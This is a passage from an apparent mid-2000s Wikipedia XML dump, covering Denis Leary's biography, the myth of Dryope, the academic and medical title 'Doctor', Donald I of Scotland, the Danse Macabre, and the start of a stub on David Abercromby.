Leary was born in [[Worcester, Massachusetts]] to [[Irish people|Irish]] [[Roman Catholic Church|Catholic]] immigrants John Leary (an auto mechanic who died in [[1985]]) and Nora (a maid); Leary holds both [[Ireland|Irish]] and [[United States|American]] citizenship. Through marriage, Leary is a distant cousin of talk show host [[Conan O'Brien]], and has jokingly said on [[Late Night with Conan O'Brien]] that &quot;All Irish People are related.&quot; His name is often misspelled as &quot;Dennis&quot;, instead of &quot;Denis.&quot; This comes out in one of his comedy routines in which he mentions how his father had a peculiar way of writing which included &quot;D's&quot; that look like &quot;P's&quot;; it lead to notes that were written to Denis' teachers that looked like they said &quot;Penis.&quot; This is how Leary got the nickname &quot;PenisMan&quot;.

==Career==
Leary first became famous through an [[MTV]]-[[sketch comedy|Sketch]] in which he ranted about [[R.E.M. (band)|R.E.M]]. Several other commericals for MTV followed, in which Leary would rant at high speeds about a variety of topics. He has released two [[album (Music)|records]] of his [[stand-up comedy]]: ''[[No Cure For Cancer]]'' ([[1993]]) and ''[[Lock 'N Load]]'' ([[1997]]).  In late [[2004]] he released the [[extended play|EP]] ''Merry F#%$in' Christmas'', which included a mix of new music, previously unreleased recordings, and some tracks from ''Lock 'N Load''.

In [[1994]], his [[sarcasm|sardonic]] song about the American lower-middle-class male, &quot;(I'm an) [[Asshole]]&quot;, achieved much notoriety. It was voted #1 in a major [[Australia|Australian]] youth radio poll (the [[Triple J Hottest 100]]) as well as reaching #2 in the singles chart in that country. The video also became a staple of [[MTV]]'s late-night programming. Due to its explicit and controversial content, however, it received limited airplay on [[mainstream]] American [[radio stations]].

Although he says he is most at home on stage doing stand-up, Leary has appeared as an actor in over 40 movies, including ''[[The Sandlot]]'', ''[[Monument Ave.]]'', ''[[The Match Maker]]'', ''[[The Ref]]'', ''[[Suicide Kings]]'', ''[[Wag the Dog]]'', ''[[Demolition Man]]'', and ''[[Operation Dumbo Drop]]''. He has also starred in two television series, ''[[The Job (television series)|The Job]]'' and ''[[Rescue Me (dramedy)|Rescue Me]]''. In addition, Leary has provided voices for characters in animated films such as the saber-toothed tiger ''Diego'' in ''[[Ice Age (film)|Ice Age]]'' and 'Francis' in ''[[A Bug's Life]]''. He's [[film producer|produced]] (and still produces) numerous movies, television shows, and specials through his production company [[Apostle (production company)|Apostle]]; these include [[Comedy Central]]'s ''Shorties Watching Shorties'' and the movie ''[[Blow]]''.

==Material Controversy==
For many years, Leary had been friends with fellow comedian [[Bill Hicks]]. However, when Hicks heard Leary's 1993 release ''No Cure For Cancer'' he was upset and claimed Leary was stealing his material. This was due to the similarity in topics covered and some of Hicks' punchlines, particularly those from Hicks' releases of [[Sane Man]] ([[1989]]) and [[Dangerous]] ([[1990]]), allegedly having variants in Leary's act. The friendship ended abruptly as a result. Leary has said he wanted to patch things up before Hicks died in [[1994]], though this confession happened several years after Hicks' death.

While it has never been proved that Leary stole material from anyone other than Bill Hicks (a claim which he fiercely denies), some comedians (notably [[Joe Rogan]] and [[Greg Giraldo]]) and especially fans loyal to Hicks consider aspects of Leary's act and persona to be stolen. However, many other comedians (including [[Colin Quinn]] - and, according to some questionable sources, [[Janeane Garofalo]], a Hicks fan and narrator of a 2003 documentary about Hicks) have formed close personal and/or professional relationships with Leary, which suggests that the opinion of him as a material thief is not shared by everyone within the profession.

This controversy was addressed in ''The Bill Hicks Story'' by [[Cynthia True]]:

:Leary was in [[Montreal]] to host the Nasty Show at Club Soda and Colleen (one of Bill Hicks' managers) was coordinating the talent so she was standing backstage when she heard Leary doing material that sounded incredibly similar&lt;!--similar or [[Sic (Latin)|[[''sic'']]]?--&gt; to old Hicks guitar riffs, including his perennial Jim Fixx joke: &quot;''[[Keith Richards]] outlived [[Jim Fixx]], the runner and health nut. Dude, the plot thickens''.&quot; When Leary came off-stage, Colleen said, more stunned than angry (but still mad), &quot;''Hey, you know that's '''Bill Hicks'''' material! Do you know that's his material''?&quot; Leary allegedly stood there, stared at her without saying a word, and apparently briskly left the dressing room.&quot;

The book cites several other examples of lines in ''No Cure for Cancer'' that Leary allegedly used from older Bill Hicks rants, and points out that this doesn't include the &quot;intellectual&quot; or [[philosophical]] rantings of Hicks' act. Hicks himself said: &quot;I have a scoop for you. I stole his act. I camouflaged it with [[punchline|punchlines]], and to really throw people off, I did it before he did.&quot;

Others point out that most comedians simply base material on the &quot;hot&quot; topics of their time, and that Hicks and Leary were far from being the only comedians (albeit among the more memorable) who had routines on subjects like the [[Judas Priest]] Trial or [[backmasking]] in general (e.g. [[Brian Haley]]), comparing different [[drugs]] (e.g. [[George Carlin]], [[Robin Williams]]), and the death of Jim Fixx (an irony jabbed at by many, including several late-night talk show hosts).  Similarly, it's somewhat common for comedians who are smokers to have routines regarding the rise of anti-[[cigarette]] smoking campaigns.

==Leary Firefighters Foundation==
On [[December 3]], [[1999]], six [[firefighter]]s from Leary's hometown of Worcester were killed in a massive warehouse fire. Among the dead were Leary's cousin, Jerry Lucey, and his close childhood friend, Lt. Tommy Spencer. In response, the comedian founded the [[Leary Firefighters Foundation]]. Since its creation in the year [[2000]], the foundation has distributed over $2.5 million ([[USD]]) to fire departments in the Worcester, Boston, and [[New York City]] areas for equipment, training materials, new vehicles, and new facilities. [http://www.learyfirefightersfoundation.org/history.html Official Site]

A separate fund run by Leary's foundation, the [[Fund for New York's Bravest]], has distributed over $2 million (USD) to the families of the 343 firemen killed in the [[September 11, 2001 attacks]], as well as providing funding for necessities such as a new mobile command center, first responder training, and a high-rise simulator for the [[New York City Fire Department|FDNY]]'s training campus. This new fund was established because the families of the Worcester fire did not want to include New York families into the fund, as a result Leary created a separate fund for New York. 

As the foundation's president, Leary has been active in all of the fundraising, and usually presents large checks and donated equipment personally. The close relationship he has developed with the FDNY, as well as individual firefighters across the New York/[[New England]] area, has resulted in Leary's most recent television show, ''[[Rescue Me (TV show 2004)|Rescue Me]]'', a [[cross-genre|dramedy]] on [[FX Networks|FX]]. In the [[television pilot|pilot episode]] of the show, he is seen wearing a Leary Firefighter Foundation 9-11 Memorial T-Shirt.

Leary has close ties with 107.3 [[WAAF-FM|WAAF-FM]], who in 2000 released the station album &quot;Survive This!.&quot;  Part of the proceeds from this album were donated to the Leary Firefighters Foundation.

==Emerson College==
Leary is a very proud graduate of [[Emerson College]] in [[Boston, Massachusetts|Boston]]. At the school he founded the Emerson Comedy Workshop, a troupe that continues to thrive on-campus to this day. After graduating with the Emerson Class of 1979, he took up a job with the school teaching comedy writing classes and maintained the job for five years. At Emerson's 2005 commencement ceremony, he spoke and received an honorary doctorate. During a December 2005 appearance at Emerson's [[Cutler Majestic Theatre]] he claimed that Emerson College &quot;saved his life&quot; by giving him direction and that throughout his career he's &quot;never forgotten&quot; the lessons he learned there. He also claimed that he was the reason Emerson students were no longer allowed on the roofs of the buildings at Emerson, due to an incident following Game 6 of the 1975 World Series where he and some classmates allegedly poured a large bucket of ice water down onto a Cincinnati Reds fan on the sidewalk below.

==External links==
{{wikiquote}}
*[http://www.learyfirefightersfoundation.org/ Leary Firefighters Foundation] - Official Site.
*[http://www.compfused.com/directlink/1059/ Denis Leary Asshole music video] 
*{{imdb name|id=0001459|name=Denis Leary}}

[[Category:1957 births|Leary, Denis]]
[[Category:Living people|Leary, Denis]]
[[Category:American actors|Leary, Denis]]
[[Category:American comedians|Leary, Denis]]
[[Category:Emerson College alumni|Leary, Denis]]
[[Category:Emerson College faculty|Leary, Denis]]
[[Category:Irish-American actors|Leary, Denis]]
[[Category:People from Massachusetts|Leary, Denis]]
[[Category:Famous members of Red Sox Nation|Leary, Denis]]
[[Category:Roman Catholics|Leary, Denis]]
[[Category:Libertarians|Leary, Denis]]

[[de:Denis Leary]]</text>
    </revision>
  </page>
  <page>
    <title>Off-label use of dextromethorphan</title>
    <id>8879</id>
    <revision>
      <id>19913286</id>
      <timestamp>2005-07-30T10:21:44Z</timestamp>
      <contributor>
        <username>Tarnas</username>
        <id>206560</id>
      </contributor>
      <comment>redirect</comment>
      <text xml:space="preserve">#Redirect [[Non-medical use of dextromethorphan]]</text>
    </revision>
  </page>
  <page>
    <title>Dryope</title>
    <id>8880</id>
    <revision>
      <id>40871961</id>
      <timestamp>2006-02-23T15:52:17Z</timestamp>
      <contributor>
        <ip>212.11.21.151</ip>
      </contributor>
      <comment>+ fr:</comment>
      <text xml:space="preserve">In [[Greek mythology]], '''Dryope''' was the daughter of [[Dryops]] or of [[Eurytus]] (and hence half-sister to [[Iole]]). She was sometimes thought of as one of the [[Pleiades (mythology)|Pleiades]].  There are two stories of her [[transmogrification|metamorphosis]] into a black [[poplar]]. According to the first, [[Apollo (god)|Apollo]] seduced her by a trick. Dryope had been accustomed to play with the [[nymph]]s of the woods. Apollo chased her, and in order to win her favours turned himself into a [[tortoise]], of which the girls made a pet. When Dryope had the tortoise on her lap, he turned into a snake. She tried to flee, but he coiled around her legs and held her arms tightly against her sides as he raped her. The nymphs then abandoned her, and she eventually gave birth to her son [[Amphissus]]. She married [[Andraemon]]. Amphissus eventually built a temple to his father Apollo in the city that he founded, [[Aphissa]]. Here the nymphs came to converse with Dryope, but one day Apollo again returned in the form of a serpent and coiled around her while she stood by a spring. This time Dryope was turned into a poplar tree.

In [[Ovid]]'s version of the story, Dryope was wandering by a lake, suckling her baby Amphissus, when she saw the bright [[red]] [[flower]]s of the [[nelumbo|lotus]] tree, formerly the nymph [[Lotis]] who, when fleeing from [[Priapus]], had been changed into a tree. Dryope wanted to give the blossoms to her baby to play with, but when she picked one the tree started to tremble and bleed. She tried to run away, but the blood of the tree had touched her skin and she found her feet rooted to the spot. She slowly began to turn into a black poplar, the bark spreading up her legs from the earth, but just before the woody stiffness finally reached her throat and as her arms began sprouting twigs her husband Andraemon heard her cries and came to her. She had just enough time to warn her husband to take care of their child and make sure that he did not pick flowers.

In Virgil's Aeneid, Aeneas kills mercilessly a man called Tarquitus who is said to be the son of [[Faunus]] the god of the woods and Dryope.

[[Category:Greek mythological people]]
[[Category:Shapeshifting]]

[[de:Dryope]]
[[fr:Dryope]]
[[hu:Drüopé]]</text>
    </revision>
  </page>
  <page>
    <title>Doctor (title)</title>
    <id>8881</id>
    <revision>
      <id>41040362</id>
      <timestamp>2006-02-24T17:45:50Z</timestamp>
      <contributor>
        <username>Dvavasour</username>
        <id>55791</id>
      </contributor>
      <minor />
      <comment>spelling - foreign</comment>
      <text xml:space="preserve">:''This article is about the use and history of doctor as a title, for other uses see [[Doctor (disambiguation)]].''

'''Doctor''' means ''teacher'' in [[Latin]]. It has been used continuously as an honored academic title for over a [[millennium]] in [[Europe]], where it dates back to the rise of the [[university]]. This use spread to [[the Americas]], former European [[colony|colonies]], and is now prevalent in most of the world. As a prefix &amp;mdash; abbreviated &quot;Dr.&quot; &amp;mdash; its primary designation is a person who has obtained a [[doctorate]] (that is, a doctoral degree), which is the highest rank of [[academic degree]].  Doctoral degrees may be &quot;research doctorates,&quot; awarded on the basis of competency in research, or &quot;taught doctorates&quot; (also called &quot;professional doctorates,&quot; because they are invariably awarded in professional subjects), awarded on the basis of coursework and adjunct requirements (if any) successfully completed by the conferree.

From the nineteenth century onward, &quot;doctor&quot; has been popularly used as a synonym for &quot;[[physician]]&quot; in [[English language|Anglophone]] and many other countries; this term is commonly used as a title of address for physicians, whether or not they hold a doctorate. The primary medical qualification in the [[United Kingdom|UK]] and in many [[Commonwealth of Nations|Commonwealth]] countries is the '[[Bachelors of Medicine and Surgery]]' degree (MB BS, MB ChB, BM BCh or MB BChir, depending on the University granting the award). After qualification, medical practitioners may read for the postgraduate research degree of '[[Doctor of Medicine]]'.  In the United States, however, the degree ''Medicis Doctor'' (Latin, &quot;Doctor of Medicine&quot;) is the qualifying degree.  There is no prefatory undergraduate medical degree, but students theoretically may enter an M.D. programme with a [[baccalaureate]] in any subject.  Practically, however, most &quot;Pre-Med&quot; students take their undergraduate degrees with a major/minor concentration in biology and/or chemistry.  Few or no American medical schools formally require a baccalaureate degree for admission to an M.D. programme and some state medical schools allow entrance for a select few before a baccalaureate degree is completed.

It should also be noted that a [[Dentist]] (in the US) is a Doctor qualified in the prevention, diagnosis, and treatment of diseases, injuries, and malformations of the teeth, jaws, and mouth, a professional licensed practitioner of [[Dental Surgery]].

==The Noun &quot;Doctor&quot; in the Medical Profession==

In [[United States|American]] and [[Canada|Canadian]] parlance, &quot;doctor&quot; is most often used for all types of [[physician]]s and [[surgery|surgeon]]s, including [[internal medicine|internist]]s, [[pediatrics|pediatrician]]s, [[gynecology|gynecologists]], and all other surgical and nonsurgical specialists who hold [[Doctor of Medicine|M.D. degrees]].  The term also applies to physicians from other fields of medicine, to which the degree 'M.D.' is inapplicable, including [[osteopathy|doctors of Osteopathy]] (D.O.), doctors of [[Podiatric Medicine]] (D.P.M.), doctors of [[Optometry]] (O.D.), and so on. There are many other countries, such as [[France]], where ''doctor'' is nearly always synonymous with &quot;physician.&quot;

A quick note on genres of medicine is appropriate at this juncture.  The degree [[Doctor of Medicine|Medicis Doctor or M.D.]] is historically associated with analgesic medicine &amp;mdash; that is, the field of medical enquiry based upon drug therapy, which evolved from alchemy and the use of potions and other types of herbology and pharmacology.  Probably because this genre of medicine benefitted directly from the incredible advances in chemical science in the seventeenth through twentieth centuries, analgesic medicine eventually became the largest generic field of medicine.

Otherwise, each genre of medicine had as its founding principle the notion that all of the body's various ills orginated in one aspect of the body and that treatment of that one aspect would cure the illness.  In earlier times, analgesic medicine theories explained illness through an imbalance of &quot;humours&quot; or something wrong with the blood, hence the use of potions, blood-letting, etc. to restore the body's chemical balance.  Podiatry, by contrast, cured the ills of the body by curing the ills of the feet.  Likewise, osteopathy originally sourced all health problems to the bones and skeleton; chiropracty, to the joints and cartilage; optometry, to problems with the eyes and sight; and so on.  That is why each genre of medicine evolved to have its own medical degree, with analgesic medicine &amp;mdash; the broadest field of medical enquiry &amp;mdash; having sub-fields, each based upon drug therapy, that correspond to almost every sister genre of medicine (eg., ophthalmology is analgesic medicine's equivalent to optometry).

==Other Doctoral Degrees==

As higher education has evolved in Anglophone societies, the doctorate has become the highest degree awarded in any academic discipline.  Historically, academic degrees were parallel and equal to one another.  The baccalaureate indicated a general education in the standard subjects of the era.  The master's degree indicated mastery of a particular subject in practical terms; in a sense, the Master of Arts was the first professional degree.  The degree &quot;doctor,&quot; by contrast, was oriented toward teaching qualifications.  The baccalaureate was subordinated quickly to the master's and doctoral degrees.  It was not until well after [[World War II]], however, that the master's degree became universally subordinated to the doctorate.  The process had begun sometime earlier, but it was not until the professional doctorate was distinguished from the research doctorate in the mid-twentieth century that the path was cleared for the research-oriented master's degree to emerge from the professionally-oriented master's degree.  Once there were both research and professional master's degrees that could lead on to either research or professional doctorates, the doctoral degree was firmly established as the highest degree &amp;mdash; except in professional legal education (see below).

Far and away, the most commonly awarded research doctorate is the [[Doctor of Philosophy|Philosophiae Doctor or Doctor of Philosophy]], abbreviated Ph.D. or D.Phil. In the United States, the [[Doctor of Science]] (abbreviated Sc.D.) is similar to and on par with the Ph.D., but with focus on research in the scientific disciplines.  Most research doctorates are graduate degrees, open only to those who already posses an undergraduate degree or advanced degree such as a master's degree.  

Professional doctorates are many and varied, including the [[Doctor of Medicine|Medicis Doctor or Doctor of Medicine]], [[Juris Doctor|Juris Doctor or Doctor of Jurisprudence]], [[Doctor of Chiropractic]], [[Doctor of Education|Educationis Doctor or Doctor of Education]], [[Doctor of Business Administration]], [[Doctor of Pharmacy]], [[Doctor of Psychology]], [[Doctor of Veterinary Medicine]], [[Doctor of Musical Arts|Doctor of Musical Arts or Artes Musicalis Doctor]], [[Doctor of Fine Arts]], and so on.  Many professional doctorates have some research and other requirements similar to the Ph.D., however, those doctorates have limited academic standing in most American academic institutions (unless they are teaching the profession).  Other professional doctorates are purely &quot;taught doctorates.&quot;

==Use of &quot;Doctor&quot; as a Title of Address==

All persons who possess a doctoral degree are entitled to call themselves &quot;Doctor&quot;. (However, the use of &quot;doctor&quot; as a noun is almost exclusively limited to medical doctors.)

Physicians invariably use the title &quot;Doctor&quot; as a prefix. Dentists, podiatrists, chiropractors, osteopaths, optometrists and veterinarians are also called Doctor whether or not they possess a doctoral degree.  (In the United States, however, they invariably do.) 

In the [[United Kingdom]], [[Australia]], [[New Zealand]] and other areas whose culture was more recently linked to the [[United Kingdom]], within medical circles the title ''Doctor'' generally applies to medically qualified individuals (&quot;[[Registered medical practitioner|registered medical practitioners]]&quot;) even if their degree is not a doctorate. However, those who are Members or Fellows of the [[Royal College of Surgeons]] for historic reasons prefer to be addressed as ''[[Mister|Mr]], [[Mrs.|Mrs]], [[Ms.|Ms]] or [[Miss]]'', even if they do hold a doctorate.

Psychologists or doctoral level psychotherapists use Dr. or their terminal degree after their last name. Terminal degrees include Ph.D., Ed.D., or Psy.D. 

In the United States when addressing formal correspondence those holding academic doctorates generally use the post-nominal, &quot;Ph.D.&quot;or the prefix &quot;Dr.&quot; The prefix &quot;Dr.&quot; is sometimes used, however, especially in the South.  In addition, within the biomedical science research arena, it is common to address Ph.D.s as &quot;Doctor&quot; even when such person holds a professorship in research/academic institutions.

In Britain and other Commonwealth countries, holders of non-medical doctorates also sometimes use Dr as a form of address outside of academic settings. In formal correspondence the prefix Dr is used without a post-nominal. (In Commonwealth usage, Ph.D. is not commonly used as a post-nominal except when listing all qualifications and honours.)  A large proportion do not bother with the prefix in daily life, though.

==Legal Doctors==

Academically, Law is only a doctoral subject in a some countries, the United States and all [[Europe|European]] countries among them.  Lawyers were called &quot;civil doctors,&quot; as distinct from the medical doctor and other types centuries ago, although that use has disappeared over the last several centuries.  

Worldwide within the legal profession, practising lawyers are typically called &quot;Mr.&quot; or &quot;Ms./Mrs./Ms./Miss,&quot; regardless of whether they possess a doctoral degree or not.  Exceptions include the [[Channel Islands]], where they bear the title of [[Advocate]]).  This is a convention of the courts, of litigation and of the legal profession generally.  The title Counselor is often used in courtrooms in the United States.  A Judge or Justice in the United States, is addressed as Judge followed by his or her surname, while in the court, he or she is addressed as Your Honor.  No practising lawyer is ever called &quot;Doctor.&quot;  The only exception is when a laywer with a doctoral degree is a witness in a case, in which case that person may be addressed &quot;Doctor&quot; in the witness box.

Historically, American legal education followed the British model.  Law was an undergraduate subject and a degree in law was an undergraduate degree, typically the Legum Baccalaureas (LL.B.) or Bachelor of Laws.  This was the basic qualifying degree.  People who wanted to teach in law school, or who wished to add to their knowledge after a few years of practice, would go on from the LL.B. to take the LL.M. or Master of Laws.  The terminal degree in the sequence was, of course, the LL.D. or Doctor of Laws.  This is the top law degree in The United Kingdom, Ireland, and throughout the Commonwealth.  In the United States however, a course of events led to the LL.D. becoming a merely honourary degree, while law became considered a graduate subject and it's degrees graduate-level degrees.

An undergraduate degree in the United States is considered a basic foundation in academia, not a professional education.  Education which requires an undergraduate degree as a prerequisite, such as a medical or legal training, is considered a graduate degree.  The LL.B. degree, as a Bachelor's degree, implies that it is an undergraduate degree equal to a [[Bachelor of Arts]] or a [[Bachelor of Science]].  The Juris Doctor degree became the standard legal degree, to reflect both the graduate nature of the training, and a professional standing equivalent to a Medical Doctor.

By World War I, students had to complete two years or 60 credits of undergraduate coursework before admission to law school, this is still the rule enshrined in law in the [[State Bar of California|State of California]], though ABA-accredited law schools in the state exceed this minimum standard.  All ABA-accredited law schools require completion of a bachelor's degree for admission to law school.

The J.D./D.Jur. is a doctoral degree in professional law.  By the year 2000, it had completely replaced the LL.B. in the American law school.  Except for California, you must have a bachelor's degree to be eligible for admission to a J.D. or D.Jur. programme.

Issuing nondoctoral graduate degrees in law degrees have begun at some schools for programs not meant to train lawyers.  Loyola University of Chicago, for example, offers a Juris Magister or Master of Jurisprudence degree in health law, for health law professionals who require a working knowledge of law (e.g., to communicate intelligently with attorneys) but do not need to become practising attorneys.  

The LL.M. Degree also exists as a special case in American legal tradition, as a conversion or adapatation of foreign legal training into qualifications to practice in the United States.  Many states, for example, will accept a foreign law degree as a qualification for admission to practice if it is supplemented by a LL.M. degree from an American law school.  A few American law schools already restrict enrolment in their LL.M. programmes to foreign-trained students.

A small number of law schools have created explicitly post-doctoral law programmes has begun with the creation of the Scientiae Juris Doctor or S.J.D. degree (Doctor of the Science of Law).  

In Germany, a Doctor of Law was accorded the same privileges as a baron, for example, being allowed to use the same [[falconry|hawk]] as a baron.

==Other uses of &quot;Doctor&quot;==

* In some regions such as the American South, &quot;Doctor&quot; is traditionally added to the first name of people (especially men) holding doctorates, where it is used in either direct or indirect familiar address, eg. &quot;Dr. Bill&quot; instead of &quot;Dr. Smith.&quot;  

* &quot;Doc&quot; is a common nickname or for someone with a doctorate, or for a physician, in real life and in fiction &amp;mdash; for example, the character &quot;Doc&quot; in [[Gunsmoke]].  Also, [[Doc Savage]], 'Man of Bronze', a series of young adult pulp fiction paperback books popular among US high school students during the [[1960s]] and [[1970s]].  Another example is [[Doc Brass]], a similar pulp fiction character.

* In [[Roman Catholicism]], a [[Doctor of the Church]] is an eminent [[theology|theologian]] (e.g. [[Thomas Aquinas]]) from whose teachings the whole [[Christian Church]] is held to have derived great advantage. This is not an academic title but reflects the most ancient sense of the word as &quot;teacher&quot;.

* &quot;[[Doctor (children's game)|Doctor]]&quot; is a game played by children.  Typically, one child pretends to be a physician while other children undress so that they can be examined by the &quot;doctor&quot;.  Conventional wisdom is that parents only need to worry about this game if their children are still &quot;playing doctor&quot; after they go through puberty, when the examinations are apt to get more &quot;thorough&quot; than they were before.

* A '''doctor blade''' is a [[knife]] blade pressed to a moving surface to smooth the surface or remove an unwanted substance from it.  Doctor blades are often used in industrial processes, such as [[offset printing]].

* ''Doctors'' is a UK daytime soap opera.

* ''The Flying Doctors'' was an Australian soap opera about physicians in the outback.

* The main character of the British television series ''[[Doctor Who]]'' is  &quot;[[Doctor (Doctor Who)|The Doctor]]&quot;.

* [[Doctor (Mozilla)|Doctor]] is a web-based interface to [[Concurrent Versions System|CVS]] allowing easy creation of [[Patch (computing)|patches]].

* [[Doctor (band)|Doctor]] is a Canadian rock band.

* In the United Kingdom, Ireland, and parts of the Commonwealth, some medical doctors are called &quot;Mister&quot;.  This exception only applies to surgeons, who drop the title of &quot;doctor&quot; once they pass their final examinations, an homage to their predecessors, the [[barber surgeons]].  Unlike apothecaries and alchemists &amp;mdash; precursors of modern physicians &amp;mdash; barber surgeons were not learned &quot;teachers&quot; but rather tradesmen.  When some medically-qualified people, who wish to train to become surgeons, pass the (notoriously difficult) examinations to enable them to become a member of one or more of the [[Royal Surgical Colleges of Great Britain and Ireland|Royal Colleges of Surgeons]] and become &quot;[[MRCS]]&quot;, it is customary for them to drop the &quot;doctor&quot; prefix and take up &quot;mister&quot;.  This rule applies to any doctor of any grade who has passed the appropriate exams, and is not the exclusive province of consultant-level surgeons.  In recent times, other surgically-orientated specialists, such as [[gynaecologist|gynaecologists]], have also adopted the &quot;mister&quot; prefix.  [[Physician|Physicians]], on the other hand, when they pass their &quot;[[MRCP]]&quot; examinations, which enable them to become members of the [[Royal College of Physicians]], do not drop the &quot;doctor&quot; prefix and remain doctor, even when they are consultants. In the United Kingdom the status and rank of consultant surgeons with the MRCS, titled &quot;mister&quot;, and consultant physicians with the MRCP, titled &quot;doctor&quot;, is identical. Surgeons in the USA and elsewhere remain steadfastly &quot;doctor&quot;.

[[Category:Titles]]
[[Category:Physicians|*]]
[[Category:Professional titles]]

[[de:Doktor]]
[[he:דוקטור]]
[[it:Dottore]]
[[ja:博士]]
[[ms:Doktor]]
[[pl:Doktor]]
[[tr:Doktor]]
[[zh:博士]]
[[ru:Доктор]]</text>
    </revision>
  </page>
  <page>
    <title>Donald I of Scotland</title>
    <id>8882</id>
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        <ip>81.197.16.192</ip>
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      <text xml:space="preserve">'''Donald I''' ('''Domnall mac Ailpín''') (c. [[812]]&amp;ndash;[[863]]) was [[King of Scots]] from [[858]] to [[862]].  He was the younger son of [[Alpin II of Dalriada]] and succeeded his brother, King [[Kenneth I of Scotland]], to the throne upon his death.

Described before as ''the wanton son of the foreign woman'', Donald I had a short term as King.  He established an ancient corpus of laws and rights (known as the [[laws of Aed]], or Aedh) that apparently included the custom of [[tanistry]].  According to this custom, the [[succession|successor]] of a King was elected during his lifetime from the eldest and worthiest of his kin, often a collateral (brother or cousin) in preference to a descendant.  During Donald I's reign, his nephew, [[Constantine I of Scotland]], was chosen to succeed him following his death.  The custom of tanistry lasted until the reign of [[Malcolm II of Scotland]] (1005&amp;ndash;34).

Uncertainty exists about the circumstances of his death in [[862]]. He either died at a battle in [[Scone, Perth and Kinross|Scone]] or peacefully in his palace at [[Kinn Belachoir]]. He died unmarried and childless. It is not known where he was buried.

== See also ==
*[[Kingdom of Scotland]]
*[[Alba]]

{{start box}}
{{succession box |
  title=[[King of Scots]] |
  before=[[Kenneth I of Scotland|Kenneth I]] |
  after=[[Constantine I of Scotland|Constantine I]] |
  years=858&amp;ndash;862
}}
{{end box}}

[[Category:812 births]]
[[Category:863 deaths]]
[[Category:Scottish monarchs]]
[[Category:Medieval_Gaels]]

{{Scotland-bio-stub}}
{{UK-royal-stub}}

[[de:Donald I. (Schottland)]]
[[fr:Donald Ier d'Écosse]]
[[no:Donald I av Skottland]]
[[pl:Donald I]]
[[sv:Donald I av Skottland]]</text>
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  </page>
  <page>
    <title>Danse Macabre</title>
    <id>8884</id>
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      <comment>fringe theory that needs more detail to be included here</comment>
      <text xml:space="preserve">:''This article is about La Dance Macabre, the late-medieval allegory. For other meanings of ''Dance Macabre'' or ''Dance of Death'', see [[Danse Macabre (disambiguation)]].''

[[Image:Holbein-death.png|right|framed|From The Dance of Death by Hans Holbein]]

'''''La Danse Macabre''''', also called ''Dance of death, La Danza Macabra,'' or ''Totentanz'', is a [[Middle Ages| late-medieval]] [[allegory]] on the universality of [[death]]: no matter one's station in life, the dance of death united all. ''La Danse Macabre'' consists of the [[personified death]] leading a row of dancing figures from all walks of life to the [[grave]]&amp;mdash;typically with an [[emperor]], [[monarch|king]], [[pope]], [[monk]], youngster, beautiful girl, all in [[skeleton]]-state. They were produced under the impact of the [[Black Death]], reminding people of how fragile their lives were and how vain the glories of [[personal life|earthly life]] were. Its origins are postulated from illustrated sermon texts, the earliest artistic examples are in a cemetery in Paris from 1424. 

==Paintings==

The earliest artistic example is from the [[fresco]]ed cemetery of the [[Church of the Holy Innocents]] in Paris (1424). There are also works by [[Konrad Witz]] in [[Basel]] (1440), [[Bernt Notke]] in [[Lübeck]] (1463) and woodcuts by [[Hans Holbein the Younger]] (1538). 

[[Image:Thetriumphofdeath.jpg|thumb|300px|right|''The Triumph of Death'']] 

A famous ''[[The Triumph of Death]]'' painting (c.1562) in the [[Museo del Prado]], [[Madrid]], is by [[Pieter Brueghel the Elder]] who was strongly influenced by the style of [[Hieronymus Bosch]].

==Musical Settings==

Musical examples include the [[Danse Macabre (Saint-Saëns)|Danse Macabre]] by [[Camille  Saint-Saëns]] (1874) and the [[Totentanz (Liszt)|Totentanz]] by [[Franz Liszt]] (1849), a set of variations based on the [[plainchant]] melody ''[[Dies Irae]]''.


==Films==
 
A particularly sarcastic ''Danse Macabre'' fashion show appears in [[Roma (Fellini)|Roma]] by [[Federico Fellini]].

The final shots of the film ''[[The Seventh Seal]]'' by [[Ingmar Bergman]] depict a kind of ''Danse Macabre''.


==See also==
* [[Ars moriendi]]
* [[Memento mori]]
* [[Vanitas]]
* [[Macabre]]

==References==
* James M. Clark. ''The Dance of Death in the Middle Ages and Renaissance'', 1950.
* Israil Bercovici. ''O sut&amp;#259; de ani de teatru evriesc în România'' (&quot;One hundred years of Yiddish/Jewish theater in Romania&quot;), 2nd Romanian-language edition, revised and augmented by Constantin M&amp;#259;ciuc&amp;#259;. Editura Integral (an imprint of Editurile Universala), Bucharest (1998). ISBN 9739827225.
* André Corvisier. ''Les danses macabres'', Presses Universitaires de France, 1998. ISBN 2130494951.

==External links==
* [http://fantastic.library.cornell.edu/dance.php A collection of historical images of the Danse Macabre] at Cornell's ''The Fantastic in Art and Fiction''

[[Category:Art genres]]
[[Category:Dance in arts]]
[[Category:Death customs]]
[[Category:Caricature|Dance of Death]]


[[da:Døden fra Lübeck]]
[[de:Totentanz]]
[[fr:Danse macabre (christianisme)]]
[[it:Danza macabra]]
[[nl:Dodendans]]
[[ja:死の舞踏 (美術)]]
[[pl:Taniec śmierci]]
[[pt:Danse Macabre]]
[[fi:Kuolemantanssi]]</text>
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  </page>
  <page>
    <title>David Abercromby</title>
    <id>8885</id>
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      <text xml:space="preserve">'''David Abercromby''' was an obscure 17th-century [[Scotland|Scottish]] physician and writer.

His medical reputation was based on his ''Tuta ac efficax luis venereae saepe absque mercurio ac semper absque salivatione mercuriali curando methodus'' ([[1684]]) which was translated into [[French language|French]], [[Dutch language|Dutch]] and [[German language|German]].  Two other works by him were ''De Pulsus Variatione'' ([[1685]]), and ''Ars explorandi medicas facultates plantarum ex solo sapore'' ([[1688]]); His ''Opuscula'' were collected in [[1687]]. These professional writings gave him a place and memorial in A. von Haller's ''Bibliotheca Medicinae Pract.'' ([[1779]]).

